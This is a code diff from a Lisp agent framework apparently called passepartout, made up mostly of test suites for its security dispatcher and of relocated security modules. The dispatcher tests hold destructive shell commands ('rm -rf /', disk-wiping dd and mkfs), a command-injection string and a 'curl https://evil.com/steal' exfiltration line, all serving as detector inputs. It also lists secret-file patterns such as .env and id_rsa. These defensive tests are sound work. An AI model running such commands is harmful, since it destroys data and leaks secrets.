(:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-dispatcher-tests + (:use :cl :fiveam :passepartout) + (:export #:dispatcher-suite)) + +(in-package :passepartout-security-dispatcher-tests) + +(def-suite dispatcher-suite :description "Verification of the Security Dispatcher") +(in-suite dispatcher-suite) + +(test test-wildcard-match + "Contract 1: wildcard pattern * matches any characters." + (is (wildcard-match "*.env" ".env")) + (is (wildcard-match "*.env" "prod.env")) + (is (wildcard-match "*credential*" "my-credential-file")) + (is (wildcard-match "*.key" "id_rsa.key")) + (is (not (wildcard-match "*.env" "config.yaml")))) + +(test test-check-secret-path + "Contract 2: dispatcher-check-secret-path matches protected patterns." + (is (dispatcher-check-secret-path ".env")) + (is (dispatcher-check-secret-path "id_rsa")) + (is (not (dispatcher-check-secret-path "README.org")))) + +(test test-self-build-core-protection + "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE." + ;; Core paths are recognized + (is (passepartout::dispatcher-check-core-path "core-reason.org")) + (is (passepartout::dispatcher-check-core-path "core-memory.lisp")) + (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org"))) + ;; With SELF_BUILD_MODE=true, core writes produce approval-required + (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x"))))) + (setf (uiop:getenv "SELF_BUILD_MODE") "true") + (let ((result (dispatcher-check action nil))) + (is (eq :approval-required (getf result :level))) + (setf (uiop:getenv "SELF_BUILD_MODE") "false")) + ;; With SELF_BUILD_MODE=false (default), writes pass through + (let ((result (dispatcher-check action nil))) + (is (eq :REQUEST (getf result :type)))))) + +(test test-check-shell-safety + "Contract 3: dispatcher-check-shell-safety detects dangerous commands." + (is (dispatcher-check-shell-safety "rm -rf /")) + (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda")) + (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`")) + (is (not (dispatcher-check-shell-safety "echo hello world"))) + (is (not (dispatcher-check-shell-safety "ls -la /tmp")))) + +(test test-shell-safety-severity-catastrophic + "Contract 3/v0.4.3: destructive commands return :catastrophic severity." + (let ((r1 (dispatcher-check-shell-safety "rm -rf /")) + (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda"))) + (is (eq :catastrophic (getf r1 :severity))) + (is (eq :catastrophic (getf r2 :severity))))) + +(test test-shell-safety-severity-dangerous + "Contract 3/v0.4.3: injection patterns return :dangerous severity." + (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`"))) + (is (eq :dangerous (getf result :severity))))) + +(test test-shell-safety-severity-safe + "Contract 3/v0.4.3: harmless commands return nil." + (is (null (dispatcher-check-shell-safety "echo hello world"))) + (is (null (dispatcher-check-shell-safety "ls -la /tmp"))) + (is (null (dispatcher-check-shell-safety "cat file.txt")))) + +(test test-dispatcher-severity-max + "dispatcher-severity-max returns the higher tier." + (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous))) + (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic))) + (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous))) + (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless)))) + +(test test-check-privacy-tags + "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content." + (is (dispatcher-check-privacy-tags '("@personal" ":project:"))) + (is (dispatcher-check-privacy-tags '("@personal"))) + (is (not (dispatcher-check-privacy-tags '(":public:" ":work:"))))) + +(test test-check-network-exfil + "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains." + (is (dispatcher-check-network-exfil "curl https://evil.com/steal")) + (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models"))) + (is (not (dispatcher-check-network-exfil "echo hello")))) + +;; ── v0.7.2 Tag Stack ── + +(test test-tag-categories-load + "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*." + (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log") + (passepartout::tag-categories-load) + (let ((cats passepartout::*tag-categories*)) + (is (>= (length cats) 1)) + (is (eq :block (passepartout::tag-category-severity "@personal"))) + (is (eq :warn (passepartout::tag-category-severity "@draft"))) + (is (eq :log (passepartout::tag-category-severity "@review")))) + (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil))) + +(test test-tag-category-severity-unknown + "Contract v0.7.2: unknown tag returns nil." + (is (null (passepartout::tag-category-severity "@nonexistent-xxxx")))) + +(test test-privacy-severity-block + "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content." + (setf passepartout::*tag-categories* '(("@personal" . :block))) + (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal"))))) + +(test test-privacy-severity-warn + "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content." + (setf passepartout::*tag-categories* '(("@draft" . :warn))) + (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft"))))) + +(test test-privacy-severity-nil + "v0.7.2: dispatcher-privacy-severity returns nil for untagged content." + (setf passepartout::*tag-categories* nil) + (is (null (passepartout::dispatcher-privacy-severity '("public"))))) + +(test test-tag-trigger-record + "v0.7.2: tag-trigger-record increments per-tag count." + (clrhash passepartout::*tag-trigger-count*) + (passepartout::tag-trigger-record "@personal") + (passepartout::tag-trigger-record "@personal") + (passepartout::tag-trigger-record "@draft") + (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0))) + (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0))) + (clrhash passepartout::*tag-trigger-count*)) + +(test test-tag-categories-privacy-fallback + "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set." + (let ((orig-tag (uiop:getenv "TAG_CATEGORIES")) + (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")) + (saved-tag (uiop:getenv "TAG_CATEGORIES")) + (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))) + ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES + (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1) + (sb-posix:unsetenv "TAG_CATEGORIES") + (passepartout::tag-categories-load) + (is (eq :block (passepartout::tag-category-severity "@personal"))) + (is (eq :block (passepartout::tag-category-severity "@draft"))) + ;; Restore + (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1)) + (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1)) + (passepartout::tag-categories-load))) + +(test test-safe-tool-read-only-auto-approve + "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally." + (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "test-ro-tool" + :description "Read-only test" + :parameters nil + :guard nil + :body nil + :read-only-p t)) + (unwind-protect + (let* ((action '(:TYPE :REQUEST :TARGET :tool + :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test")))) + (result (dispatcher-check action nil))) + (is (eq :REQUEST (getf result :type))) + (is (not (member (getf result :type) '(:LOG :approval-required))))) + (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*))) + +(test test-safe-tool-write-still-checked + "Contract v0.7.2: write tools still go through full dispatcher check." + (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*))) + (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "write-file" + :description "File writer" + :parameters nil + :guard nil + :body nil + :read-only-p nil)) + (unwind-protect + (progn + (setf (uiop:getenv "SELF_BUILD_MODE") "true") + (let* ((action '(:TYPE :REQUEST :TARGET :tool + :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x")))) + (result (dispatcher-check action nil))) + (is (eq :approval-required (getf result :level))) + (is (search "HITL" (getf (getf result :payload) :message))))) + (setf (uiop:getenv "SELF_BUILD_MODE") "false") + (if orig-tool + (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool) + (remhash "write-file" passepartout::*cognitive-tool-registry*))))) +#+end_src* v0.8.0 Tests — Block Counts +#+begin_src lisp +(in-package :passepartout-security-dispatcher-tests) + +(test test-block-record-increments + "Contract 10: dispatcher-block-record increments per-gate count." + (clrhash passepartout::*dispatcher-block-counts*) + (is (= 1 (passepartout::dispatcher-block-record :shell-safety))) + (is (= 2 (passepartout::dispatcher-block-record :shell-safety))) + (is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*)))) + +(test test-block-counts-summary + "Contract 11: dispatcher-block-counts-summary returns total and by-gate." + (clrhash passepartout::*dispatcher-block-counts*) + (passepartout::dispatcher-block-record :shell-safety) + (passepartout::dispatcher-block-record :shell-safety) + (passepartout::dispatcher-block-record :secret-path) + (let ((s (passepartout::dispatcher-block-counts-summary))) + (is (= 3 (getf s :total))) + (let ((by-gate (getf s :by-gate))) + (is (= 2 (cdr (assoc :shell-safety by-gate)))) + (is (= 1 (cdr (assoc :secret-path by-gate))))))) + +(test test-block-counts-empty + "Contract 11: dispatcher-block-counts-summary returns zero when no blocks." + (clrhash passepartout::*dispatcher-block-counts*) + (let ((s (passepartout::dispatcher-block-counts-summary))) + (is (= 0 (getf s :total))) + (is (null (getf s :by-gate))))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-dispatcher-tests + (:use :cl :fiveam :passepartout) + (:export #:dispatcher-suite)) + +(in-package :passepartout-security-dispatcher-tests) + +(def-suite dispatcher-suite :description "Verification of the Security Dispatcher") +(in-suite dispatcher-suite) + +(test test-wildcard-match + "Contract 1: wildcard pattern * matches any characters." + (is (wildcard-match "*.env" ".env")) + (is (wildcard-match "*.env" "prod.env")) + (is (wildcard-match "*credential*" "my-credential-file")) + (is (wildcard-match "*.key" "id_rsa.key")) + (is (not (wildcard-match "*.env" "config.yaml")))) + +(test test-check-secret-path + "Contract 2: dispatcher-check-secret-path matches protected patterns." + (is (dispatcher-check-secret-path ".env")) + (is (dispatcher-check-secret-path "id_rsa")) + (is (not (dispatcher-check-secret-path "README.org")))) + +(test test-self-build-core-protection + "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE." + ;; Core paths are recognized + (is (passepartout::dispatcher-check-core-path "core-reason.org")) + (is (passepartout::dispatcher-check-core-path "core-memory.lisp")) + (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org"))) + ;; With SELF_BUILD_MODE=true, core writes produce approval-required + (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x"))))) + (setf (uiop:getenv "SELF_BUILD_MODE") "true") + (let ((result (dispatcher-check action nil))) + (is (eq :approval-required (getf result :level))) + (setf (uiop:getenv "SELF_BUILD_MODE") "false")) + ;; With SELF_BUILD_MODE=false (default), writes pass through + (let ((result (dispatcher-check action nil))) + (is (eq :REQUEST (getf result :type)))))) + +(test test-check-shell-safety + "Contract 3: dispatcher-check-shell-safety detects dangerous commands." + (is (dispatcher-check-shell-safety "rm -rf /")) + (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda")) + (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`")) + (is (not (dispatcher-check-shell-safety "echo hello world"))) + (is (not (dispatcher-check-shell-safety "ls -la /tmp")))) + +(test test-shell-safety-severity-catastrophic + "Contract 3/v0.4.3: destructive commands return :catastrophic severity." + (let ((r1 (dispatcher-check-shell-safety "rm -rf /")) + (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda"))) + (is (eq :catastrophic (getf r1 :severity))) + (is (eq :catastrophic (getf r2 :severity))))) + +(test test-shell-safety-severity-dangerous + "Contract 3/v0.4.3: injection patterns return :dangerous severity." + (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`"))) + (is (eq :dangerous (getf result :severity))))) + +(test test-shell-safety-severity-safe + "Contract 3/v0.4.3: harmless commands return nil." + (is (null (dispatcher-check-shell-safety "echo hello world"))) + (is (null (dispatcher-check-shell-safety "ls -la /tmp"))) + (is (null (dispatcher-check-shell-safety "cat file.txt")))) + +(test test-dispatcher-severity-max + "dispatcher-severity-max returns the higher tier." + (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous))) + (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic))) + (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous))) + (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless)))) + +(test test-check-privacy-tags + "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content." + (is (dispatcher-check-privacy-tags '("@personal" ":project:"))) + (is (dispatcher-check-privacy-tags '("@personal"))) + (is (not (dispatcher-check-privacy-tags '(":public:" ":work:"))))) + +(test test-check-network-exfil + "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains." + (is (dispatcher-check-network-exfil "curl https://evil.com/steal")) + (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models"))) + (is (not (dispatcher-check-network-exfil "echo hello")))) + +;; ── v0.7.2 Tag Stack ── + +(test test-tag-categories-load + "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*." + (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log") + (passepartout::tag-categories-load) + (let ((cats passepartout::*tag-categories*)) + (is (>= (length cats) 1)) + (is (eq :block (passepartout::tag-category-severity "@personal"))) + (is (eq :warn (passepartout::tag-category-severity "@draft"))) + (is (eq :log (passepartout::tag-category-severity "@review")))) + (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil))) + +(test test-tag-category-severity-unknown + "Contract v0.7.2: unknown tag returns nil." + (is (null (passepartout::tag-category-severity "@nonexistent-xxxx")))) + +(test test-privacy-severity-block + "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content." + (setf passepartout::*tag-categories* '(("@personal" . :block))) + (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal"))))) + +(test test-privacy-severity-warn + "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content." + (setf passepartout::*tag-categories* '(("@draft" . :warn))) + (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft"))))) + +(test test-privacy-severity-nil + "v0.7.2: dispatcher-privacy-severity returns nil for untagged content." + (setf passepartout::*tag-categories* nil) + (is (null (passepartout::dispatcher-privacy-severity '("public"))))) + +(test test-tag-trigger-record + "v0.7.2: tag-trigger-record increments per-tag count." + (clrhash passepartout::*tag-trigger-count*) + (passepartout::tag-trigger-record "@personal") + (passepartout::tag-trigger-record "@personal") + (passepartout::tag-trigger-record "@draft") + (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0))) + (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0))) + (clrhash passepartout::*tag-trigger-count*)) + +(test test-tag-categories-privacy-fallback + "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set." + (let ((orig-tag (uiop:getenv "TAG_CATEGORIES")) + (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")) + (saved-tag (uiop:getenv "TAG_CATEGORIES")) + (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))) + ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES + (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1) + (sb-posix:unsetenv "TAG_CATEGORIES") + (passepartout::tag-categories-load) + (is (eq :block (passepartout::tag-category-severity "@personal"))) + (is (eq :block (passepartout::tag-category-severity "@draft"))) + ;; Restore + (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1)) + (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1)) + (passepartout::tag-categories-load))) + +(test test-safe-tool-read-only-auto-approve + "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally." + (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "test-ro-tool" + :description "Read-only test" + :parameters nil + :guard nil + :body nil + :read-only-p t)) + (unwind-protect + (let* ((action '(:TYPE :REQUEST :TARGET :tool + :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test")))) + (result (dispatcher-check action nil))) + (is (eq :REQUEST (getf result :type))) + (is (not (member (getf result :type) '(:LOG :approval-required))))) + (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*))) + +(test test-safe-tool-write-still-checked + "Contract v0.7.2: write tools still go through full dispatcher check." + (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*))) + (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "write-file" + :description "File writer" + :parameters nil + :guard nil + :body nil + :read-only-p nil)) + (unwind-protect + (progn + (setf (uiop:getenv "SELF_BUILD_MODE") "true") + (let* ((action '(:TYPE :REQUEST :TARGET :tool + :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x")))) + (result (dispatcher-check action nil))) + (is (eq :approval-required (getf result :level))) + (is (search "HITL" (getf (getf result :payload) :message))))) + (setf (uiop:getenv "SELF_BUILD_MODE") "false") + (if orig-tool + (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool) + (remhash "write-file" passepartout::*cognitive-tool-registry*))))) +#+end_src* v0.8.0 Tests — Block Counts +#+begin_src lisp (in-package :passepartout-security-dispatcher-tests) (test test-block-record-increments diff --git a/lisp/security-permissions.lisp b/lisp/security-permissions.lisp index 1851864..07af4ec 100644 --- a/lisp/security-permissions.lisp +++ b/lisp/security-permissions.lisp @@ -1,3 +1,19 @@ +(in-package :passepartout) + +(defvar *permission-table* (make-hash-table :test 'equal)) + +(defun permission-set (tool-name level) + "Sets the permission level for a tool." + (setf (gethash (string-downcase (string tool-name)) *permission-table*) level)) + +(defun permission-get (tool-name) + "Retrieves the permission level for a tool. Defaults to :ask." + (gethash (string-downcase (string tool-name)) *permission-table* :ask)) + +(defskill :passepartout-security-permissions + :priority 600 + :trigger (lambda (ctx) (declare (ignore ctx)) nil)) + (eval-when (:compile-toplevel :load-toplevel :execute) (ql:quickload :fiveam :silent t)) @@ -26,19 +42,3 @@ (permission-set :CapitalTool :deny) (is (eq :deny (permission-get :capitaltool))) (permission-set "CapitalTool" nil)) - -(in-package :passepartout) - -(defvar *permission-table* (make-hash-table :test 'equal)) - -(defun permission-set (tool-name level) - "Sets the permission level for a tool." - (setf (gethash (string-downcase (string tool-name)) *permission-table*) level)) - -(defun permission-get (tool-name) - "Retrieves the permission level for a tool. Defaults to :ask." - (gethash (string-downcase (string tool-name)) *permission-table* :ask)) - -(defskill :passepartout-security-permissions - :priority 600 - :trigger (lambda (ctx) (declare (ignore ctx)) nil)) diff --git a/lisp/security-policy.lisp b/lisp/security-policy.lisp index ebd9aed..b39d0ac 100644 --- a/lisp/security-policy.lisp +++ b/lisp/security-policy.lisp @@ -1,3 +1,23 @@ +(in-package :passepartout) + +(defun policy-compliance-check (action context) + "Enforces constitutional invariants on proposed actions." + (declare (ignore context)) + (let* ((payload (proto-get action :payload)) + (explanation (proto-get payload :explanation))) + (if (and explanation (stringp explanation) (> (length explanation) 10)) + action + (progn + (log-message "POLICY VIOLATION: Action lacks sufficient explanation.") + (list :type :LOG + :payload (list :level :warn + :text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning.")))))) + +(defskill :passepartout-security-policy + :priority 500 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic #'policy-compliance-check) + (eval-when (:compile-toplevel :load-toplevel :execute) (ql:quickload :fiveam :silent t)) @@ -28,23 +48,3 @@ (let* ((action '(:type :REQUEST :payload (:action :read))) (result (policy-compliance-check action nil))) (is (eq :LOG (getf result :type))))) - -(in-package :passepartout) - -(defun policy-compliance-check (action context) - "Enforces constitutional invariants on proposed actions." - (declare (ignore context)) - (let* ((payload (proto-get action :payload)) - (explanation (proto-get payload :explanation))) - (if (and explanation (stringp explanation) (> (length explanation) 10)) - action - (progn - (log-message "POLICY VIOLATION: Action lacks sufficient explanation.") - (list :type :LOG - :payload (list :level :warn - :text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning.")))))) - -(defskill :passepartout-security-policy - :priority 500 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic #'policy-compliance-check) diff --git a/lisp/security-validator.lisp b/lisp/security-validator.lisp index f8af7b9..1038805 100644 --- a/lisp/security-validator.lisp +++ b/lisp/security-validator.lisp @@ -1,3 +1,19 @@ +(in-package :passepartout) + +(defun validator-protocol-check (msg) + "Enforces structural schema compliance on protocol messages." + (validate-communication-protocol-schema msg)) + +(defskill :passepartout-security-validator + :priority 95 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx)) + (handler-case + (progn (validator-protocol-check action) action) + (error (c) + (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c))))))) + (eval-when (:compile-toplevel :load-toplevel :execute) (ql:quickload :fiveam :silent t)) @@ -25,19 +41,3 @@ (let ((msg '(:payload (:sensor :heartbeat)))) (signals error (validator-protocol-check msg)))) - -(in-package :passepartout) - -(defun validator-protocol-check (msg) - "Enforces structural schema compliance on protocol messages." - (validate-communication-protocol-schema msg)) - -(defskill :passepartout-security-validator - :priority 95 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx)) - (handler-case - (progn (validator-protocol-check action) action) - (error (c) - (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c))))))) diff --git a/lisp/security-vault.lisp b/lisp/security-vault.lisp index f2a98b5..cc7df7d 100644 --- a/lisp/security-vault.lisp +++ b/lisp/security-vault.lisp @@ -1,3 +1,39 @@ +(in-package :passepartout) + +(defvar *vault-memory* (make-hash-table :test 'equal) + "In-memory cache of sensitive credentials.") + +(defun vault-get (provider &key (type :api-key)) + "Retrieves a credential from the vault or environment." + (let* ((key (format nil "~a-~a" provider type)) + (val (gethash key *vault-memory*))) + (if val + val + (let ((env-var (case provider + (:gemini "GEMINI_API_KEY") + (:openai "OPENAI_API_KEY") + (:anthropic "ANTHROPIC_API_KEY") + (:openrouter "OPENROUTER_API_KEY") + (otherwise nil)))) + (when env-var (uiop:getenv env-var)))))) + +(defun vault-set (provider secret &key (type :api-key)) + "Stores a secret in the vault." + (let ((key (format nil "~a-~a" provider type))) + (setf (gethash key *vault-memory*) secret))) + +(defun vault-get-secret (provider) + "Retrieves a stored secret or token for a gateway provider." + (vault-get provider :type :secret)) + +(defun vault-set-secret (provider secret) + "Stores a secret or token for a gateway provider." + (vault-set provider secret :type :secret)) + +(defskill :passepartout-security-vault + :priority 600 + :trigger (lambda (ctx) (declare (ignore ctx)) nil)) + (eval-when (:compile-toplevel :load-toplevel :execute) (ql:quickload :fiveam :silent t)) @@ -48,39 +84,3 @@ (is (string= "secret-value" (vault-get :vault-type-test :type :secret))) (vault-set :vault-type-test nil :type :api-key) (vault-set :vault-type-test nil :type :secret)) - -(in-package :passepartout) - -(defvar *vault-memory* (make-hash-table :test 'equal) - "In-memory cache of sensitive credentials.") - -(defun vault-get (provider &key (type :api-key)) - "Retrieves a credential from the vault or environment." - (let* ((key (format nil "~a-~a" provider type)) - (val (gethash key *vault-memory*))) - (if val - val - (let ((env-var (case provider - (:gemini "GEMINI_API_KEY") - (:openai "OPENAI_API_KEY") - (:anthropic "ANTHROPIC_API_KEY") - (:openrouter "OPENROUTER_API_KEY") - (otherwise nil)))) - (when env-var (uiop:getenv env-var)))))) - -(defun vault-set (provider secret &key (type :api-key)) - "Stores a secret in the vault." - (let ((key (format nil "~a-~a" provider type))) - (setf (gethash key *vault-memory*) secret))) - -(defun vault-get-secret (provider) - "Retrieves a stored secret or token for a gateway provider." - (vault-get provider :type :secret)) - -(defun vault-set-secret (provider secret) - "Stores a secret or token for a gateway provider." - (vault-set provider secret :type :secret)) - -(defskill :passepartout-security-vault - :priority 600 - :trigger (lambda (ctx) (declare (ignore ctx)) nil)) diff --git a/lisp/sensor-time.lisp b/lisp/sensor-time.lisp index 9ae04c5..78079b0 100644 --- a/lisp/sensor-time.lisp +++ b/lisp/sensor-time.lisp @@ -1,71 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-sensor-time-tests - (:use :cl :fiveam :passepartout) - (:export #:sensor-time-suite)) - -(in-package :passepartout-sensor-time-tests) - -(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines") -(in-suite sensor-time-suite) - -(test test-format-time-for-llm-includes-year - "Contract 1: format-time-for-llm returns a string with the current year." - (let ((result (passepartout::format-time-for-llm))) - (is (stringp result)) - (is (search "202" result)) - (is (search "TIME" result)))) - -(test test-format-time-for-llm-utc - "Contract 1: iso format includes Z suffix." - (let ((result (passepartout::format-time-for-llm))) - (is (stringp result)) - (is (search "Z" result)))) - -(test test-format-time-for-llm-natural - "Contract 1: natural format produces human-readable date." - (let ((old-env (or (uiop:getenv "TIME_FORMAT") ""))) - (unwind-protect - (progn - (setf (uiop:getenv "TIME_FORMAT") "natural") - (let ((result (passepartout::format-time-for-llm))) - (is (stringp result)) - (is (search "UTC" result)))) - (setf (uiop:getenv "TIME_FORMAT") old-env)))) - -(test test-format-time-for-llm-with-session - "Contract 1: with session duration, includes session info." - (let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720))) - (is (search "1h 2m" result)))) - -(test test-session-duration - "Contract 2: session-duration returns a positive number after init." - (passepartout::sensor-time-initialize) - (let ((dur (passepartout::session-duration))) - (is (numberp dur)) - (is (>= dur 0)))) - -(test test-sensor-time-tick-empty - "Contract 3: sensor-time-tick returns nil when no deadlines are near." - (clrhash passepartout::*memory-store*) - (let ((result (passepartout::sensor-time-tick))) - (is (null result)))) - -(test test-sensor-time-tick-detects-deadline - "Contract 3: sensor-time-tick detects a deadline close in time." - (clrhash passepartout::*memory-store*) - (setf passepartout::*deadline-warning-minutes* 120) - (let ((near-future-time (- (get-universal-time) 60))) ; 1 minute ago - (ingest-ast (list :type :HEADLINE - :properties (list :ID "deadline-test" - :TITLE "Submit report" - :DEADLINE (write-to-string near-future-time)) - :contents nil))) - (let ((result (passepartout::sensor-time-tick))) - (is (not (null result))) - (is (search "Submit report" result)))) - (in-package :passepartout) (defvar *session-start-time* nil @@ -167,3 +99,71 @@ Called by the time-tick cron job every minute." (format nil "~d deadlines approaching: ~{~a; ~}" (length parts) parts)))))) (sensor-time-initialize) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-sensor-time-tests + (:use :cl :fiveam :passepartout) + (:export #:sensor-time-suite)) + +(in-package :passepartout-sensor-time-tests) + +(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines") +(in-suite sensor-time-suite) + +(test test-format-time-for-llm-includes-year + "Contract 1: format-time-for-llm returns a string with the current year." + (let ((result (passepartout::format-time-for-llm))) + (is (stringp result)) + (is (search "202" result)) + (is (search "TIME" result)))) + +(test test-format-time-for-llm-utc + "Contract 1: iso format includes Z suffix." + (let ((result (passepartout::format-time-for-llm))) + (is (stringp result)) + (is (search "Z" result)))) + +(test test-format-time-for-llm-natural + "Contract 1: natural format produces human-readable date." + (let ((old-env (or (uiop:getenv "TIME_FORMAT") ""))) + (unwind-protect + (progn + (setf (uiop:getenv "TIME_FORMAT") "natural") + (let ((result (passepartout::format-time-for-llm))) + (is (stringp result)) + (is (search "UTC" result)))) + (setf (uiop:getenv "TIME_FORMAT") old-env)))) + +(test test-format-time-for-llm-with-session + "Contract 1: with session duration, includes session info." + (let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720))) + (is (search "1h 2m" result)))) + +(test test-session-duration + "Contract 2: session-duration returns a positive number after init." + (passepartout::sensor-time-initialize) + (let ((dur (passepartout::session-duration))) + (is (numberp dur)) + (is (>= dur 0)))) + +(test test-sensor-time-tick-empty + "Contract 3: sensor-time-tick returns nil when no deadlines are near." + (clrhash passepartout::*memory-store*) + (let ((result (passepartout::sensor-time-tick))) + (is (null result)))) + +(test test-sensor-time-tick-detects-deadline + "Contract 3: sensor-time-tick detects a deadline close in time." + (clrhash passepartout::*memory-store*) + (setf passepartout::*deadline-warning-minutes* 120) + (let ((near-future-time (- (get-universal-time) 60))) ; 1 minute ago + (ingest-ast (list :type :HEADLINE + :properties (list :ID "deadline-test" + :TITLE "Submit report" + :DEADLINE (write-to-string near-future-time)) + :contents nil))) + (let ((result (passepartout::sensor-time-tick))) + (is (not (null result))) + (is (search "Submit report" result)))) diff --git a/lisp/symbolic-archivist.lisp b/lisp/symbolic-archivist.lisp index 02ad8e2..9758821 100644 --- a/lisp/symbolic-archivist.lisp +++ b/lisp/symbolic-archivist.lisp @@ -1,41 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-symbolic-archivist-tests - (:use :cl :passepartout) - (:export #:archivist-suite)) - -(in-package :passepartout-symbolic-archivist-tests) - -(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill") -(fiveam:in-suite archivist-suite) - -(fiveam:test test-extract-headlines - "Contract 1: archivist-extract-headlines parses Org content." - (let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline")) - (headlines (archivist-extract-headlines content))) - (fiveam:is (listp headlines)) - (fiveam:is (>= (length headlines) 1)))) - -(fiveam:test test-headline-to-filename - "Contract 2: archivist-headline-to-filename sanitizes titles." - (let ((filename (archivist-headline-to-filename "My Project: Overview"))) - (fiveam:is (search 